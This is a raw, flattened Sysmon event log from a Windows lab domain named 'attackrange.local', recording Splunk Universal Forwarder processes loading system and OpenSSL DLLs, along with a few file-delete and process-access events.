SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000052765Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.234{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=85D6ADDECABE12D758EC0EBE17B10D27,SHA256=188DE4503C360B673A7845DA4B57DB993384A1BF9510280D0192898B5393F0C3,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052764Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.214{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=00499CEFD087D048940849A3948C4493,SHA256=0325DD85F8C9F660B7796928035C3439B7E69BEE6F1873FCB0075F4EE98D1B67,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000052763Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.016{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000052762Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.016{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000052761Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.016{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000052760Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.016{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000052759Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.016{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000052758Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.015{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000052757Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.014{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000052756Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.014{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000052755Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.994{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000052754Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.994{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000052753Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.994{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000052752Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.994{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000052751Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.994{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000052750Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.994{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000052749Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.994{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000052748Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.994{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000052747Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.994{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000052746Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.994{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000052745Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.994{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000052744Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.994{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000052743Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.994{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000052742Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.994{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000052741Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.994{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000052740Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.994{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000052739Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.994{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000052738Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.994{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000052737Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.994{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000052736Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.994{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000052735Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.994{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000052734Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.994{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000052733Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.994{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000052732Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.994{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000052731Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.994{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000052730Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.994{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000052729Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.994{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000052728Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.994{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000052727Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.994{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 23542300x800000000000000016870Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:21.569{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2A5AE34664113579A61F5F7B95866F67,SHA256=D6533DCA7F7DA5203CBB93216CE10D4BEC0754C250803B1E9ED90445C64FEFE8,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000052875Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.918{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000052874Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.918{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000052873Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.918{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000052872Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.715{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000052871Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.715{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000052870Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.715{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000052869Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 